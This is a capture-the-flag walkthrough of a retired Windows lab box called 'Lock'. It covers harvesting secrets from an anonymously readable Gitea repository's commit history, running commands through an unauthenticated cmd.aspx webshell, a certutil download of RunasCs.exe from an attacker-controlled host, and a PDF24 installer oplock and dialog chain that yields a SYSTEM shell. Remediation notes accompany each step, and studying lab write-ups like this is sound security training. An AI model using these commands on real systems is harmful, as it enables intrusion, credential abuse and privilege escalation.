Lock
Summary
Lock runs two web services, and the one on 3000 is a Gitea instance that answers its API to anyone. A public repository's commit history carries what its working tree no longer does: an API token, and a domain account's password in plain text. Removing a secret in a later commit does not remove it from the repository.
The IIS site on 80 already has a webshell on it — cmd.aspx, unauthenticated, taking a command in a query parameter — so the first execution costs nothing and arrives as a service account. RunasCs turns the leaked credential into a session as the domain user it belongs to, and the user flag with it. Root is a user-interface chain rather than an exploit.
An opportunistic lock on the log file PDF24's installer writes stalls that SYSTEM process with its window still on the desktop; from an RDP session, the window's own system menu leads to a Properties dialog, a link, a browser, and a file dialog — and a file dialog opened by a SYSTEM process will open cmd.exe for you.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <the-shas-from-above> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Fingerprint SMB — returns OS version, hostname, and domain.
$ nxc smb $TARGETConfirm IIS version from the Server response header.
$ curl -I http://$TARGET/Identify the Gitea application on port 3000.
$ curl -s http://$TARGET:3000/ | grep -i giteaExact commands 3
Enumerate all registered Gitea usernames without authentication.
$ curl -s "http://$TARGET:3000/api/v1/users/search?limit=50" | python3 -m json.toolList all public repositories — reveals dev-scripts and website.
$ curl -s "http://$TARGET:3000/api/v1/repos/search?limit=50" | python3 -m json.toolBrowse the public repository explorer as an anonymous user.
$ curl -s http://$TARGET:3000/explore/reposFixRequire authentication for all Gitea pages and API endpointsMedium
Exact commands 3
What the instance will show an anonymous caller. One repository is enough.
$ curl -sS "http://$TARGET:3000/api/v1/repos/search?private=false" | python3 -m json.tool | grep -E 'full_name|private'Every commit, over the same anonymous API. The interesting one is rarely the latest.
$ curl -sS "http://$TARGET:3000/api/v1/repos/ellen.freeman/dev-scripts/commits?limit=50" | grep -oE '"sha": "[0-9a-f]+"'The file as it was at each revision. A secret removed in a later commit is still in an earlier one.
$ for sha in <the-shas-from-above>; do curl -sS "http://$TARGET:3000/api/v1/repos/ellen.freeman/dev-scripts/raw/$sha/repos.py"; done | grep -iE 'token|password|=\s*.[A-Za-z0-9]{16,}'FixRevoke the exposed Gitea token and enforce secret scanning on all future commitsCritical
Exact commands 2
It answers. A file like this on a production site is a finding before it is a foothold.
$ curl -sS -o /dev/null -w '%{http_code}\n' "http://$TARGET/cmd.aspx"The app-pool identity. Not privileged, and not the point — the point is that it runs anything.
$ curl -sS --get "http://$TARGET/cmd.aspx" --data-urlencode 'x=whoami'FixDo not leave a command webshell on a production siteCritical
Exact commands 3
Staged where the app-pool identity can write. Serve it from a directory of mine first.
$ curl -sS --get "http://$TARGET/cmd.aspx" --data-urlencode "x=certutil -urlcache -split -f http://$ATTACKER_IP:8000/RunasCs.exe C:\Windows\Temp\RunasCs.exe"A logon session the webshell could not create for itself. Expect lock\gale.dekarios.
$ curl -sS --get "http://$TARGET/cmd.aspx" --data-urlencode 'x=C:\Windows\Temp\RunasCs.exe Gale.Dekarios <the-password-from-repos.py> "cmd /c whoami"'-> <user.txt>
$ curl -sS --get "http://$TARGET/cmd.aspx" --data-urlencode 'x=C:\Windows\Temp\RunasCs.exe Gale.Dekarios <the-password-from-repos.py> "cmd /c type C:\Users\gale.dekarios\Desktop\user.txt"'Exact commands 6
The rest of this step is a desktop, not a shell. That is the technique.
$ xfreerdp /v:$TARGET /u:Gale.Dekarios /p:<the-password-from-repos.py> /dynamic-resolutionIn the RDP session. The lock stalls the installer's write and leaves its SYSTEM window on screen.
$ C:\Windows\Temp\SetOpLock.exe C:\Program Files\PDF24\faxPrnInst.log rThe installer starts as SYSTEM, reaches the locked log, and stops there.
$ <trigger the PDF24 printer install from the application's own menu>The dialog is the SYSTEM process's own. Everything it opens inherits that.
$ <in the stalled window: system menu -> Properties -> the link -> browser -> address bar>Typed into the browser's file dialog. What opens is a console running as SYSTEM.
$ file:///C:/Windows/System32/cmd.exeIn that console -> <root.txt>
$ whoami && type C:\Users\Administrator\Desktop\root.txt
NT AUTHORITY\SYSTEMFixPatch PDF24 Creator to close CVE-2023-49147 and remove the installer from user-reachable pathsHigh
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 445/tcp | microsoft-ds? |
| 3000/tcp | http Golang net/http server |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |